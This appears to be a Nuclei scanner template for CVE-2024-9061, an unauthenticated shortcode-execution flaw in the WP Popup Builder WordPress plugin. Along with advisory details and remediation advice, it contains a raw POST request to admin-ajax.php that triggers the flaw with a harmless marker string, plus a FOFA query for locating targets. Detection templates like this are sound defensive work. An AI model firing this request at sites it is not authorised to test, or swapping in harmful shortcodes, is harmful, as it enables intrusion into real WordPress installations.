id: CVE-2024-9061 info: name: WP Popup Builder Popup Forms and Marketing Lead Generation <= 1.3.5 - Arbitrary Shortcode Execution author: s4e-io severity: high description: | The The WP Popup Builder Popup Forms and Marketing Lead Generation plugin for WordPress is vulnerable to arbitrary shortcode execution via the wp_ajax_nopriv_shortcode_Api_Add AJAX action in all versions up to, and including, 1.3.5. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes. impact: | Unauthenticated attackers can execute arbitrary shortcodes through the AJAX action, potentially leading to information disclosure, privilege escalation, or remote code execution depending on available shortcodes in the WordPress installation. remediation: | Update WP Popup Builder plugin to a version later than 1.3.5 that properly validates values before executing do_shortcode in the wp_ajax_nopriv_shortcode_Api_Add AJAX action. reference: - https://nvd.nist.gov/vuln/detail/CVE-2024-9061 - https://www.wordfence.com/threat-intel/vulnerabilities/id/0cac1dc0-87dc-43eb-9db1-638a91200b43?source=cve - https://github.com/RandomRobbieBF/CVE-2024-9061 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L cvss-score: 7.3 cve-id: CVE-2024-9061 cwe-id: CWE-94 epss-score: 0.89 epss-percentile: 0.99543 metadata: max-request: 2 verified: true vendor: themehunk product: wp-popup-builder framework: wordpress fofa-query: body="/wp-content/plugins/wp-popup-builder/" tags: cve,cve2024,wp,wordpress,wp-plugin,wp-popup-builder,shortcode,vuln flow: http(1) && http(2) http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'contains(body, "/wp-content/plugins/wp-popup-builder")' - 'status_code == 200' condition: and internal: true - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=shortcode_Api_Add&shortcode=%43%56%45%2d%32%30%32%34%2d%39%30%36%31 matchers: - type: dsl dsl: - 'len(body) == 13' - 'contains(body, "CVE-2024-9061")' - 'contains(content_type, "text/html")' - 'status_code == 200' condition: and # digest: 4b0a00483046022100947124dd5c9e23ba672c400c2e62e839c4a39e2b7a60e6ed2e6b2c227f8e5600022100ef3b42574fd9aeabc4ce8a5d3fc2b43ec7e151df91139f601f3c726b80e4a033:922c64590222798bb761d5b6d8e72950